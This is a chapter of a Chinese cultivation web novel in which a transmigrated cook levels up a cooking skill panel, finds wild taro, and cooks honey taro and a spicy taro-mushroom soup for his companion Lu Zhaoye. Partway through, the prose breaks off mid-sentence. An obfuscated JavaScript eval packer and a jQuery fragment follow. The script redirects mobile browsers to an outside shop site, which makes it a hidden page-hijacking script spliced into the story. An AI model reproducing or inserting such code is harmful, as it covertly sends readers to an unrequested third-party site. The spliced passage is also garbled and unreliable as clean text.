日子就这么一天天过去，陆昭野几乎成了宋清源院子里的常客。
每天剑光一落，人往树下一坐，该修炼修炼，该吃饭吃饭，经常还拎着刚从后山猎来的妖兽肉往灶台边一放。
宋清源也习惯了，桌上永远多备一双碗筷，锅里常常多烧一个人的饭。
两人之间的相处模式渐渐固定下来，话不多，但配合默契，一个猎食材一个做菜，倒比许多同门师兄弟还要熟稔。
这数十天里，宋清源几乎把所有解锁过的菜品都翻来覆去做了好几遍。
从家常小炒到川湘风味，从凉菜小碟到汤羹面食，灵羽鸡、金甲兽、紫金鱼……陆昭野带来的食材源源不断，他做出来的灵膳经验值也肉眼可见地往上窜。
每天做完饭，面板上跳出来的金色小字早已成了日常，经验条一点一点往前拱，终于在初冬的一个傍晚，堪堪填满了最后一丝缝隙。
面板金光大盛，厨艺等级提升至Lv.10。
宋清源正在灶台边切菜，被突如其来的光芒晃了一下眼，放下刀凝神看去。
一行金字跳了出来。
技能奖励：烹饪技法——食材鉴定。
宋清源凝神读了一遍说明，眼睛微微一亮。
所谓食材鉴定，是指经他手触碰的食材，能凭触感和观察判断出食材的新鲜程度、质地优劣、适合的刀法和烹饪方式。
比如一块肉拿在手里，指尖一按眼睛一看，就能感知肉质的紧实度、脂肪的比例、是否有异味或变质前兆，心里自然浮现出最适合的处理方式。
这是传统厨艺中顶尖厨师才有的手感，靠的是无数次的实践积累出来的经验，而面板直接帮他固化成了本能。
比起之前只能凭直觉大致分辨“能吃不能吃”的粗浅判断，这个技能让他在备菜环节的精准度提升了一大截。
以前拿到一块肉只能靠眼睛看、鼻子闻、用手按一按猜个大概，如今指尖一碰，一打量，信息清清楚楚。
这块肉适合红烧还是快炒、那根菜该切丝还是切段、鱼的新鲜程度还能不能用来做刺身，全都明明白白地浮现在意识里。
宋清源捏起灶台上一块金甲兽肉试了试，指尖接触的瞬间，触感传来一种明确的判断。
肉质紧实，脂肪分布均匀，纹理清晰，适合爆炒或切片涮锅。
他又拿起一根白茅根，判断又不一样，根茎脆嫩，水分充足，适合炖汤提鲜或切段凉拌。
这技能说穿了就是把一个老厨子几十年练出来的手感和眼力，直接安到了他身上。
这个厨艺面板就是正正经经的传统厨艺面板，并没有因为他穿越到修真界就凭空生出什么玄乎的变异功能。
它既不侦测灵气，也不感知灵气，更不会显示什么食材蕴含多少灵力。
它做的事从头到尾就一件，帮他把厨艺这件事做到极致。
刀工、火候、搭配、鉴定等等，每一环都是实实在在的烹饪基本功，放在前世是这些，放在修真界还是这些。
穿不穿越，面板都没变化。
所以他先前才会感叹，若是在前世，拥有这个厨艺面板，再加上他的天赋和努力，迟早成为一代名厨。
这日天气晴好，宋清源在陆昭野的陪同下又去后山外围转了转。
他本来只是想找些野葱和蕨菜，结果沿着溪谷往上走了一段，在一处背阴的坡地上发现了一片奇怪的植物。
叶片宽大，形状像盾牌，茎秆粗壮，根部鼓鼓囊囊地拱出地面，露出一截灰褐色的块茎，形状和前世他见过的芋头有七八分相似。
宋清源蹲下来挖了一颗出来，剥掉外皮，里面是乳白色的肉质，切了一小块尝了尝，清甜粉糯，带着一丝淡淡的坚果香气。
食材鉴定的触感反馈告诉他，这东西无毒，质地细腻，淀粉含量高，适合蒸煮或炖汤。
他心头一喜，这多半是芋头在修真界的变种。虽然不含多少灵气，但这品质比凡间的芋头好了不少。
“陆师兄，这东西能吃，还有灵气。”宋清源把手里那块芋头展示给陆昭野看，“能不能帮我挖一些？”
陆昭野点了点头，拔出腰间那柄黑剑，剑锋朝着地面轻轻一划，一大块泥土被平整地切开。
他手腕一挑，剑尖一勾，几颗芋头便从土里滚了出来，切口干净利落，一颗都没伤着。
宋清源蹲在旁边捡，陆昭野在前面挖，不到半个时辰就挖了满满一大筐。
芋头个头匀称，表皮光滑，个个饱满圆润，看着就喜人。
回到屋里，宋清源把芋头洗干净，挑了几个大小均匀的出来，剩下的收进储物袋里。
他打算先做一道蜜汁芋头，试试这芋头的口感，正好用上先前奖励的蜜汁技法。
芋头去皮切块，上锅蒸熟，蒸好的芋头粉糯绵软，拿筷子一戳就透。
大灶眼倒油烧热，把蒸好的芋头块下锅煎到表面金黄微焦，外壳酥脆内里软糯。
另起一锅熬糖浆，冰糖加少许水小火慢熬，等到糖浆变成琥珀色、拉丝不断的时候，把煎好的芋头块倒进去快速翻炒，让每一块芋头都均匀地裹上糖浆，出锅装盘前撒上一把白芝麻。
一盘蜜汁芋头端上桌，金黄透亮，糖丝晶莹，芝麻星星点点地散落在表面，看着就让人有食欲。
宋清源自己先夹了一块尝了尝，外壳酥脆，内里绵密，糖浆的甜和芋头本身的清甜融在一起，粉糯香甜，入口即化。
他满意地点了点头，把盘子往陆昭野面前推了推。
陆昭野夹了一块送进嘴里，嚼了几口，又夹了一块，然后默默地把一整盘都吃完了。
最后盘底只剩一点糖浆，他用筷子尖蘸了蘸，也送进了嘴里。
宋清源坐在对面看着他吃完，发现他神色平平，既没有停顿也没有皱眉，就是很平静地把一盘芋头吃干净了。
他心想，刚才陆师兄先前吃水煮鱼的时候可不是这样的，那会儿筷子的速度明显快了好几分。
这说明什么？说明陆师兄爱吃辣，甜口的菜对他来说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696816|208001||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
终究差了点什么。
芋头这东西，蒸煮煎炸都能做，但陆昭野爱吃辣，甜口的蜜汁芋头对他来说终究是好看多于好吃。
既然要投其所好，不如做一道江西风味的芋圆蘑菇汤。
这道菜的精髓不在炖煮，而在塑形。
宋清源便又去了厨房，挑了几块品相好的芋头继续去皮切块，上锅蒸熟。
筷子一戳就能透的时候，趁热把芋头捞出来，用勺子碾成细腻的芋泥，然后分次加入红薯粉，一边加一边揉，直到芋泥和红薯粉完全融合，变成一个光滑不粘手的面团。
芋头和红薯粉的比例他凭手感估摸着来的，差不多了就停，面团揉出来软硬适中，带着芋头特有的清香。
面团揉好之后，他揪了一小块在掌心搓成圆球，再拜托陆师兄用石头做了个类似瓶口的小模具轻轻一压，圆球便变成了一个伞盖微鼓的小蘑菇形状，底下再捏一小截当蘑菇柄，接在一起就是一朵完整的芋圆蘑菇。
没多久，他搓了满满一盘，大大小小形状各异，圆润饱满，伞盖上还压了几道纹路，乍一看真像从土里刚冒出来的菇子。
锅里倒少许油，把切好的瘦肉丝倒进去煸炒，肉丝变色之后加入泡发切碎的香菇丁和蒜末，大火爆香。
喜欢辣味的人这时可以加一勺辣椒粉，不过宋清源没有直接加，而是留着最后泼油。
他想创新一下做法，传统做法是不需要泼油的，煮上三到五分钟洒上盐即可出锅。
他舀了一勺开水倒进锅里，水沸腾起来的时候，把搓好的芋圆蘑菇一颗一颗滑进去。
芋圆蘑菇在沸汤中慢慢浮起来，伞盖微微鼓起，表面泛着一层温润的光泽，看着比真蘑菇还真了几分。
小火煮了一会儿，汤汁渐渐变得浓稠，芋头蘑菇吸饱了汤底的鲜味，变得绵软透亮。
最后撒了一把葱花和盐调味，另起小锅烧热油，把干辣椒段和蒜末铺在汤面上，热油“滋啦”一声泼下去，辣椒的焦香和蒜末的辛香瞬间炸开，在汤面激起一层油花，香气霸道地充满了整间屋子。
宋清源盛了两碗端上桌。
陆昭野低头看了一眼碗里，那些芋头做的蘑菇浮在清亮的汤底中，伞盖微鼓，柄身分明，和真的蘑菇相差无几。
他舀了一颗送进嘴里，芋圆蘑菇入口绵密软糯，嚼起来带着一丝若有若无的弹性，吸饱了汤底的鲜和辣椒油的香，粉糯沙绵，舌尖一抿便散开，鲜辣的余味留在口腔里久久不散。
他这一口下去，停顿了整整数息，然后勺子的速度明显快了起来。
宋清源坐在对面看他的反应，心里总算安心了。
芋圆蘑菇这道菜，比蜜汁芋头更对陆师兄的胃口。
粉糯的芋头面团捏成蘑菇形状，在汤里煮过之后外层吸满鲜辣汤汁，内里依旧保留着芋头本身的清甜，外糯内绵，口感层次比直接炖煮丰富得多。
他低头也尝了一口，觉得这道菜确实值得再做几次，换换汤底的搭配，说不定还能玩出更多花样来。